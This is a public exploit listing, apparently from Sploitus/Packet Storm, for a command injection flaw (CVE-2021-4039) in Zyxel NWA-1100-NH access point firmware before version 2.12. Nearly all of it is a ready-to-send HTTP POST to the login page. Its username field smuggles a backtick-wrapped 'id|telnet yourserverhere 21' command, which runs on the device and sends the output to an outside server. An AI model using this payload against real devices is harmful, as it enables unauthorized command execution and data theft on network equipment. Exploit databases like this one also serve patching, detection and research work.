Share
## https://sploitus.com/exploit?id=PACKETSTORM:166752
# Exploit Title: Zyxel NWA-1100-NH - Command Injection  
# Date: 12/4/2022  
# Exploit Author: Ahmed Alroky  
# Vendor Homepage: https://www.zyxel.com/homepage.shtml  
# Version: ALL BEFORE 2.12  
# Tested on: Linux  
# CVE : CVE-2021-4039  
# References : https://download.zyxel.com/NWA1100-NH/firmware/NWA1100-NH_2.12(AASI.3)C0_2.pdf ,   
https://www.zyxel.com/support/OS-command-injection-vulnerability-of-NWA1100-NH-access-point.shtml  
  
  
HTTP Request :  
  
POST /login/login.html HTTP/1.1  
Host: IP_address:8081  
Content-Length: 80  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http:/IP_address:8081  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: http://IP_address:8081/login/login.html  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Connection: close  
  
myname=ffUfRAgO%60id%7ctelnet%20yourserverhere%2021%60&mypasswd=test&Submit=Login